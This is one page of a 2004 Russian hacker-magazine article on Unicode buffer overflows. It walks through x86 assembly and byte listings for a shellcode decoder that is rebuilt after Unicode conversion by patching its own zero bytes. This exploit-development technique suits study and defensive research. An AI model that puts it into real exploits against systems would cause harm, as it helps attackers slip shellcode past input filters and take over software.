Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #45, АВГУСТ 2004 г.

Unicode-Buffer Overflows

Мысла Владислав

Спецвыпуск Xakep, номер #045, стр. 045-056-4


Схема реализации очень проста, но для того чтобы написать такой декодер в стандартном виде, требуется исполнить следующие команды:

Листинг

; ebx = 1

; eax = address of encoded shellcode

; esp = address for decoded shellcode

; ecx = length of shellcode

Decoder:

43 inc ebx

8A 14 58 mov dl,byte ptr [eax+ebx*2]

88 14 1C mov byte ptr [esp+ebx],dl

E2 F7 loop Decoder

Как ты можешь заметить, это мало похоже на Unicode-формат. А ведь декодер должен быть написан так, чтобы после обработки он стал рабочим. В то же время, если его конвертировать, то получится следующее:

Листинг

43 inc ebx

00 8A 00 14 00 58 add byte ptr [edx+58001400h],cl

00 88 00 14 00 1C add byte ptr [eax+1C001400h],cl

00 E2 add dl,ah

00 F7 add bh,dh

Поэтому надо поступить иначе. Наш декодер занимает 8 байт:

Code: 43 8A 14 58 88 14 1C E2 F7 - 0x08 bytes

Unicode: 43 00 8A 00 14 00 58 00 88 00 14 00 1C 00 E2 00 F7 - 0x10 bytes

Если пропустить в нем каждый второй байт, то после форматирования он будет иметь размер ровно 8 байт с одной только разницей, что каждый второй байт будет нулевым:

Code: 43 14 88 1C F7 - 0x05 bytes

Unicode: 43 00 14 00 88 00 1C 00 F7 - 0x08 bytes

После таких операций мы потеряли ровно 4 байта. На данном этапе декриптор нельзя назвать рабочим. Чтобы его можно было использовать, придется вспомнить о доступных операциях (соблюдая формат), например, о модификации памяти (patching). Действительно, если ты знаешь местонахождение декодера в памяти, то можешь легко изменить нужные байты. В данном случае надо поменять нули на соответствующие их позициям байты в shell-коде:

Листинг

Сode : 43 14 88 1C F7 - 0x05 bytes

Unicode: 43 00 14 00 88 00 1C 00 F7 - 0x08 bytes

Patch : +8A +58 +14 +E2

Decoded: 43 8A 14 58 88 14 1C E2 F7 - 0x08 bytes

Таким образом, чтобы заставить декодер работать, надо заменить 4 байта. Согласно формату, эту операцию можно проделать так:

Листинг

; eax = address of decoder

40 inc eax

00 45 00 add byte ptr [ebp],al

40 inc eax

00 45 00 add byte ptr [ebp],al

C6 00 58 mov byte ptr [eax],0xXX

00 45 00 add byte ptr [ebp],al

Поясню, что делает этот фрагмент кода. В регистре eax находится адрес нерабочего декодера, код которого необходимо изменить. Так как после форматирования декодер имеет на каждой второй позиции нули, то нам необходимо всегда смещаться на два, чтобы попадать на те места в памяти, которые требуется изменить. После двойного инкрементирования регистра eax он указывает на некую область памяти. Если теперь взглянуть на младший разряд числа, на которое указывает eax, то там будет как раз тот нуль, от которого следует избавиться. Поэтому следующим шагом будет запись туда нужного тебе числа. К сожалению, эту процедуру нельзя вынести в цикл, потому что любой цикл (loop, loopnz, call и т.д.) требует указания смещения, на которое будет идти прыжок, а Unicode требует, чтобы второй байт команды был нулевым. Получается, что ты все-таки можешь использовать циклы, но только на один байт вперед. Операция add byte ptr [ebp],al используется только для приведения shell-кода к Unicode-формату. Графически модификация декодера выглядит так:

Назад на стр. 045-056-3  Содержание  Вперед на стр. 045-056-5